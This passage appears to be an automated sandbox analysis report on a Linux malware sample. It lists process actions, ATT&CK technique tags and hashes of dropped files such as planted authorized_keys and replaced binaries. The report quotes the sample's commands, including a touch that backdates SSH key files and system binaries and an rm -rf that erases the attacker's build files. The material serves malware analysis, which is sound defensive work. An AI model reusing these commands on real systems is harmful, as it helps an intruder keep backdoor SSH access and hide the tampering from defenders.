  - Changes its process name
  PID:1587
- /usr/bin/touch
  touch -d "Dec 1 2018" /root/.ssh /root/.ssh/authorized_keys /bin/bash /bin/brltty /bin/bunzip2 /bin/busybox /bin/bzcat /bin/bzcmp /bin/bzdiff /bin/bzegrep /bin/bzexe /bin/bzfgrep /bin/bzgrep /bin/bzip2 /bin/bzip2recover /bin/bzless /bin/bzmore /bin/cat /bin/chacl /bin/chgrp /bin/chmod /bin/chown /bin/chvt /bin/clean /bin/cls /bin/cp /bin/cpio /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/dumpkeys /bin/echo /bin/ed /bin/efibootdump /bin/efibootmgr /bin/egrep /bin/false /bin/fgconsole /bin/fgrep /bin/findmnt /bin/fuser /bin/fusermount /bin/getfacl /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hciconfig /bin/hostname /bin/ip /bin/journalctl /bin/kbd_mode /bin/kill /bin/kmod /bin/less /bin/lessecho /bin/lessfile /bin/lesskey /bin/lesspipe /bin/ln /bin/loadkeys /bin/login /bin/loginctl /bin/lowntfs-3g /bin/ls /bin/lsblk /bin/lsmod /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mt /bin/mt-gnu /bin/mv /bin/nano /bin/nc /bin/nc.openbsd /bin/netcat /bin/networkctl /bin/nisdomainname /bin/ntfs-3g /bin/ntfs-3g.probe /bin/ntfscat /bin/ntfscluster /bin/ntfscmp /bin/ntfsfallocate /bin/ntfsfix /bin/ntfsinfo /bin/ntfsls /bin/ntfsmove /bin/ntfsrecover /bin/ntfssecaudit /bin/ntfstruncate /bin/ntfsusermap /bin/ntfswipe /bin/open /bin/openvt /bin/pidof /bin/ping /bin/ping4 /bin/ping6 /bin/plymouth /bin/ps /bin/pwd /bin/rbash /bin/readlink /bin/red /bin/rm /bin/rmdir /bin/rnano /bin/run-parts /bin/sed /bin/setfacl /bin/setfont /bin/setupcon /bin/sh /bin/sh.distrib /bin/sleep /bin/ss /bin/static-sh /bin/stty /bin/su /bin/sync /bin/systemctl /bin/systemd /bin/systemd-ask-password /bin/systemd-escape /bin/systemd-hwdb /bin/systemd-inhibit /bin/systemd-machine-id-setup /bin/systemd-notify /bin/systemd-sysusers /bin/systemd-tmpfiles /bin/systemd-tty-ask-password-agent /bin/tar /bin/tempfile /bin/touch /bin/true /bin/udevadm /bin/ulockmgr_server /bin/umount /bin/uname /bin/uncompress /bin/unicode_start /bin/vdir /bin/wdctl /bin/which /bin/whiptail /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew /bin/.ssh/authorized_keys /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lib64 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var /vmlinuz /vmlinuz.old /sbin/acpi_available /sbin/agetty /sbin/alsa /sbin/apm_available /sbin/apparmor_parser /sbin/audispd /sbin/auditctl /sbin/auditd /sbin/augenrules /sbin/aureport /sbin/ausearch /sbin/autrace /sbin/badblocks /sbin/blkdeactivate /sbin/blkdiscard /sbin/blkid /sbin/blockdev /sbin/bridge /sbin/brltty /sbin/brltty-setup /sbin/capsh /sbin/cfdisk /sbin/cgdisk /sbin/chcpu /sbin/crda /sbin/ctrlaltdel /sbin/debugfs /sbin/depmod /sbin/devlink /sbin/dhclient /sbin/dhclient-script /sbin/dmsetup /sbin/dmstats /sbin/dosfsck /sbin/dosfslabel /sbin/dumpe2fs /sbin/e2fsck /sbin/e2image /sbin/e2label /sbin/e2undo /sbin/fatlabel /sbin/fdisk /sbin/findfs /sbin/fixfiles /sbin/fixparts /sbin/fsck /sbin/fsck.cramfs /sbin/fsck.ext2 /sbin/fsck.ext3 /sbin/fsck.ext4 /sbin/fsck.fat /sbin/fsck.minix /sbin/fsck.msdos /sbin/fsck.vfat /sbin/fsfreeze /sbin/fstab-decode /sbin/fstrim /sbin/gdisk /sbin/getcap /sbin/getpcaps /sbin/getty /sbin/halt /sbin/hdparm /sbin/hwclock /sbin/ifdown /sbin/ifquery /sbin/ifup /sbin/init /sbin/insmod /sbin/installkernel /sbin/ip /sbin/ip6tables /sbin/ip6tables-restore /sbin/ip6tables-save /sbin/iptables /sbin/iptables-restore /sbin/iptables-save /sbin/isosize /sbin/iw /sbin/iwconfig /sbin/iwevent /sbin/iwgetid /sbin/iwlist /sbin/iwpriv /sbin/iwspy /sbin/kbdrate /sbin/killall5 /sbin/ldconfig /sbin/ldconfig.real /sbin/load_policy /sbin/logsave /sbin/losetup /sbin/lsmod /sbin/lspcmcia /sbin/mkdosfs /sbin/mke2fs /sbin/mkfs /sbin/mkfs.bfs /sbin/mkfs.cramfs /sbin/mkfs.ext2 /sbin/mkfs.ext3 /sbin/mkfs.ext4 /sbin/mkfs.fat /sbin/mkfs.minix /sbin/mkfs.msdos /sbin/mkfs.ntfs /sbin/mkfs.vfat /sbin/mkhomedir_helper /sbin/mkntfs /sbin/mkswap /sbin/modinfo /sbin/modprobe /sbin/mount.fuse /sbin/mount.lowntfs-3g /sbin/mount.ntfs /sbin/mount.ntfs-3g /sbin/nologin /sbin/ntfsclone /sbin/ntfscp /sbin/ntfslabel /sbin/ntfsresize /sbin/ntfsundelete /sbin/on_ac_power /sbin/pam_extrausers_chkpwd /sbin/pam_extrausers_update /sbin/pam_tally /sbin/pam_tally2 /sbin/parted /sbin/partprobe /sbin/pccardctl /sbin/pivot_root /sbin/plymouthd /sbin/poweroff /sbin/raw /sbin/reboot /sbin/regdbdump /sbin/resize2fs /sbin/restorecon /sbin/restorecon_xattr /sbin/rmmod /sbin/rtacct /sbin/rtmon /sbin/runlevel /sbin/runuser /sbin/setcap /sbin/setfiles /sbin/setvtrgb /sbin/sfdisk /sbin/sgdisk /sbin/shadowconfig /sbin/shutdown /sbin/start-stop-daemon /sbin/sulogin /sbin/swaplabel /sbin/swapoff /sbin/swapon /sbin/switch_root /sbin/sysctl /sbin/tc /sbin/telinit /sbin/tipc /sbin/tune2fs /sbin/u-d-c-print-pci-ids /sbin/udevadm /sbin/uid /sbin/umount.udisks2 /sbin/unix_chkpwd /sbin/unix_update /sbin/ureadahead /sbin/wipefs /sbin/wpa_action /sbin/wpa_cli /sbin/wpa_supplicant /sbin/xtables-multi /sbin/zramctl
  2⤵
  - Adds new SSH keys
  - Writes file to system bin folder
  PID:1589
- /bin/rm
  rm -rf a.c ".reboot*" a.c clean.c cls.c ping.c "scan*" distro go "go.tgz*" cls.c clean.c bot ping.c go "gs*"
  2⤵
  PID:1590

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/bin/.ssh/authorized_keys

Filesize
381B

MD5
fada28f9405c20320d0169f7549137da

SHA1
53f934539664a6e2c0ef06317b8518385e1272aa

SHA256
e962c1d303f7d1b24325d7e8165e7b3c157455c07d666af1a5bfce4e6bcb8640

SHA512
caf57f3fef4eccef88a83c74ec9b53ffffe52bfc6ba809957991beedebf581f427994a59bdec5cb9e5c9b361e6c646501f952d7941acc4ef90721f7bc6399784

Download Submit
/bin/clean

Filesize
27KB

MD5
40c5882e66b86c06d2beb88300622584

SHA1
352be2965f2d0f2383e8beed402984a1ca1e97f8

SHA256
58af2ca68d9ddc53475e465b100138723e7d06201aab3d95a3de6e59379654b9

SHA512
328c464dede1f6ef8be9cec013ecc1fe779c80ab1f105f1bef49994c11743ec815a185006960e38eb3b1f383d727b1928ab55c15d9d75d961fdf2587df158e2f

Download Submit
/bin/cls

Filesize
25KB

MD5
294a26b5d2f08ca41f91db35a75fbf27

SHA1
a93196d3461a86d15d2fd62df1ea558a9f9f3ccc

SHA256
67825cc66c6b5848b4211b3eaf03dd3d9dd949495d601143527fe36c5d30da45

SHA512
eace54d1e5ac7ee92c6e20d484c6061d1eebc6cbcbae14be5ed76cf7f84702e701a0189c8a9eb2f5f68d50e1dad206129bffa992b19b13a73b61d9600d98857e

Download Submit
/bin/false

Filesize
1.1MB

MD5
d5d689ba6020abe746c52ae7438d9eb2

SHA1
0a4ece3b3c332c39922b8d521c8f2087e9cf22b6

SHA256
15d4469eb3da716fefcc0c395a5b1d1657ad0555ec3ae623e727bb0dfcee19cf

SHA512
ae2459b496385844c20813e8fdc6c227facc6b16cd1bfcc467eb61309cb8316b5dc44d66c13de1a7a1c248a546654bc51128f6d1f2f8bb92f7e9f1898cec415e

Download Submit
/bin/ping6

Filesize
8KB

MD5
4a2202db26706f2c0c9db06f1929ab5f

SHA1
3ceea4dfd072372b476cfe9bad9bbfbc6a92cb9d

SHA256
077e28bfede2b43473f263a70a5b5001f5a30025e60de7a3d448a20064610492

SHA512
4eff68a1105f3efb0cc84f0191ea7a08505dc5e0f4aac0b7d5c245fb49fbb2315e2e3a0a1da9825d2e6ed6a96c39cbe22a5b8c47f00908ea596af21916cccbc9

Download Submit
/etc/group+

Filesize
922B

MD5
cfe7da51510645ddd88cc4781e6839ed

SHA1
30706ccf238a01a64e237672c546e91e75ed52d6

SHA256
2b24977c153b57555bdb5e1c7ece5e532df92e2a811d3575dd643d5e992d459a

SHA512
39790a72faf60cb9731a33affc052b83934d211ac4f2bb2d7c6ae6a48f4f4f9b3f4fb4a3f152e7bdd23df283078c4969be46ac5f0c2bc2a3adea9d0681890746

Download Submit
/etc/group+

Filesize
926B

MD5
b9caef0a3c0e738930bb533e2b4de46d

SHA1
527a11b3219d21d38c9c130e480a86a021c85240

SHA256
38ba7843bf04797e743650abb5c094a2b5268c7a591dcd9032e90fa1faf1448a

SHA512
98b193b63e7c50e3ab39a4d5296aa9de464a2e13a2ad192732314e3e4d7a4b0e9c7f835721064492242e912a46750badcd70a28938177bd55cb4f8fbeb2e4bf4

Download Submit
/etc/group+

Filesize
926B

MD5
bfea8a0d89312a3f0b44c86b107effc8

SHA1
3ae93d52b2e7a54ca9a3756eacc0a6016e5c86fa

SHA256
c891ae5f762a1062c2b262531c5ce2d2ca3603064d8b27499a83fe59b57669b2

SHA512
b97ac758c54f4915095233683cde101e61caa1c8928d9817c43d4d6d90aeee5f1821c77397f37561665de52dfff6cdd28d65914c36578ece5c38960d7d88d3fc

Download Submit
/etc/group+

Filesize
927B

MD5
6ec7f1cdf5f0254ceb1dcb8d9c233989

SHA1
4d7af2a62158ceba0bda4f56d2d164422e0194c2

SHA256
979f50b720f28b12e200071f11dd0e3f9813b74e44da197f177c952fc4cd89fb

SHA512
1d4e1a052ab3a60f050d493fb7db63a1acc9165ee7d5f0f5af54c53179aa3e6b303acb1022bcb2d5708e5776e6b4b5804b7f16309e0379d80a61bf649d8103cb

Download Submit
/etc/gshadow+

Filesize
768B

MD5
967e95931faad7337ff6c031909ae06c

SHA1
e4a090aefe24b329129e6083d98ca545b560534c

SHA256
ad9cf85eee9ce15e270e4e31f8fe8cb071e2a86aa9fec263acb416e30653034b

SHA512
5b236c975e2cf74d975cfab9c279f1e7a2c2035691da5728ea7a8031efb0f1bf8c4005a0146965807e9cb6645656b1d20ade7455855c1bd054fb2f0d34c46a4d

Download Submit
/etc/gshadow+

Filesize
772B

MD5
0894d94d639d54f24d1237ddb13a3526

SHA1
32d4d70ab24aa68d23d22c2641aba01ece4f15c0

SHA256
4d410d679e2ac37d4f329d00ee187fedb90cbbcc2429f69fd711d42104299528

SHA512
ace67dc2d7e374cf0ccc701918706c7073fcf30ea9a1c426e66e23963d9b10a4eea3e58d91038f8b2f02e41f87e008d70cce82c09a6bbed4d57805eefd21eaa9

Download Submit
/etc/gshadow+

Filesize
772B

MD5
8d85a027e452e3f0114c7641b9e9a5c9

SHA1
7bfeb2c9715f310d1c405fd17a34dc06235ab7d1

SHA256
60cc24ad29a1d427049a31ec52eeffe6e26920590995f1f0acc8e4c006429d49

SHA512
207c641c2c40faf1465eb284d972b8049615ecd6e967fce819de4625afc10101a29ff32eaacf5af2da845613b381a4cc04f68a6a0d63b818046b14b5c81242a7

Download Submit
/etc/gshadow+

Filesize
773B

MD5
60bbb33ef8919d0780a6360b4f9f73ba

SHA1
5fdd40beb4ed82bb2156b67300e7d9bf5f7154d2

SHA256
25e6518fea3394cc283e0756fffe04ac9815ad8ee79d280b61e5788d9e4e0083

SHA512
69561c145acb1bf5cca2387f7543b965fa9b0bbb2e3c57a86c2be326a9c00275234f1809ee6b7ad769022e53cf3ab542a50668249dcf8b1e24682a354dc0fe5d

Download Submit
/tmp/ccB22ei8.o

Filesize
25KB

MD5
4b0279911d1ff0180d3beeb84838a67c

SHA1
f504ae4ca78c7be8153fccca63ed078f7df23079

SHA256
b11bf0222d951c9383dde1dc622aecbf90e2f7747d5679c3c1aa094a5344e41b

SHA512
ca068420d8389baa8f57af009477a35a60012de86f68c04c29badf722361a65c2b049e076b92ed66702466da1e5ae1ad1a068e8d8960577ca8a96886f211ff54

Download Submit
/tmp/ccDPYlLc.o

Filesize
27KB

MD5
372cbf030f74599ed9dd4f276a566dd9

SHA1
14e424ca27f08a2445feed23b9e3a0cac1e05866

SHA256
6e170d65d4d9e62b705b6e40d9d9fc2b1a87056ba876d7dc703b691eb3d72e3c

SHA512
245a27c789d99e4ad4c114d3f37ebfad53826ed0328d0c6691d4e19a249953bd7fcaad70ca2c49b5a4ed5e8bf33c9ee601ddcb519baf19a6db5bcfccf4c14ee3

Download Submit
/tmp/ccKfsVfn.s

Filesize
627B

MD5
2fea0a3e3718fc4084c26aa816f50935

SHA1
2b09bfdeb37a61431832d39614e5173ae7e776d0

SHA256
0afdbf3377230e88d0653f6a536c28f0b798a30534c27d28368144457376f5ee

SHA512
93d1e716aafaf4d3c7f07ad7e57b910cef3472a820be74c007f2d9273dbdef8eb248b2a74c565feda1acac354c3c4c9fa64f3acc9914a3a71286593655f6e03a

Download Submit
/tmp/ccajPJSu.s

Filesize
40KB

MD5
af0c13ef1744a62fe9b4166e0b4c2412

SHA1
46bfca948a1bf7792421f38d5dc4bb7d3a9ce7b6

SHA256
6cf0d706777eda684746bf28535367c8928bd5a76e81d07cde16a6e4ca46a5e4

SHA512
3096fc8785abf2e411ca6e96fee269baf98def71764dcf2429e7b7decd9311479be0aca33ad7332c968e97258e9e72f5c8649752e1dc453f797b3e719b9092d3

Download Submit
/tmp/cch5QlXy.s

Filesize
49KB

MD5
daf7135920cf841fc666420bba1d7920

SHA1
05cabb304c1abd7b3657e366c9cbfd4bd28c683a

SHA256
d5ec781a27f54fa80230cde9de20858f77991556b0c22f48b60257cbcd5ca99e

SHA512
b2d8a097e99c8afa76278345ac4d2c3671e8294ada0db6ab6b3f8d6f2232abd0f2d06084f7f74bfaf9abea1947e8b8cab0a3c77dcf0e528280c679b411c8c01d

Download Submit
/tmp/cckk59hR.s

Filesize
83KB

MD5
95a697e27e83acd34a774d469817be64

SHA1
630d52355c40a65df6fe7b38985b10298db8fcd8

SHA256
b80b424680902614dba2e9a39751d2b24791294567c4af98822390a1c41b4ce8

SHA512
44dee0ec95fe3e8d2f49d50b597ab11c4b32034678efcd05146c6e9af54416debb18bea70ce1ae323ebd8ef9de648e5713ad4a0d528f085240520938a698bb69

Download Submit
/tmp/ccvMZD9Z.o

Filesize
1KB

MD5
95a50013ca531abbb740cee170a453a1

SHA1
967ffa22b761e886f0e2327beb4d6f4659c89ed8

SHA256
b5b608b46767669f21e4d77ba14fd21d050bf4cbbb63f0d169a3c3574a339bfe

SHA512
d0022542da013750ed0533878ed87cdf862e95f8cfc8294b2ab279fb02887945dcc6c9aa8c40347f03c445306b137f510658308da3bc1b7babd999fc6a92fe71

Download Submit
/tmp/ccxJlL3s.o

Filesize
41KB

MD5
608c21a86cb7c1cdc34014321efefbb3

SHA1
fcf3fde3695880dd65bb886c10c97f704360f05c

SHA256
ba617dd9f9963fd9e8468e1911dbaec5ab976c430f655b972fc9bf4f2eb48eed

SHA512
c95f1e0e8aafecd2c252ed84206080d0e635bd265d67c1dce7f4da23e0167842b9b7530a45efd736a5add0d1e966f9f340d42547cb8c58c1b45eba9456f579c2

Download Submit
/usr/games/.ssh/authorized_keys

Filesize
798B

MD5
df68371284ae3082d169b9a843a529ee

SHA1
47e3b406522459c3c65baf385d8fb43dfd5184bd

SHA256
913a3d3340f173664503ff9293fcb8a4bf8d57146e03ea0dd94864e6c8b6c995

SHA512
ea34929620f3bfe518711a9d5d7ac30d5d8306ffce0257f729f951e16e8abc35eb8d541ffc8a61e92b7f0e592f05638e0d7dc6f7718e0c82b74fdd0b2e39953f

Download Submit
/usr/share/man/man1/kwk

Filesize
40KB

MD5
a3eb1a9e639323333a3dab0b11018549

SHA1
a892e6f83f5c2e469c7ece927152dde3b3e6eaa9

SHA256
6bf87ecf5d8bd936ac59c869d5ef3e41efc37badc980156398267a2398e3b391

SHA512
95427b43a89bd9a35bd5e9665b2b0beff60017c05620be4c72309b400b84c4400d69eae3f7457cd56565363e8f06c24bacc91a752f8188c9b4cf3c2db825493c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads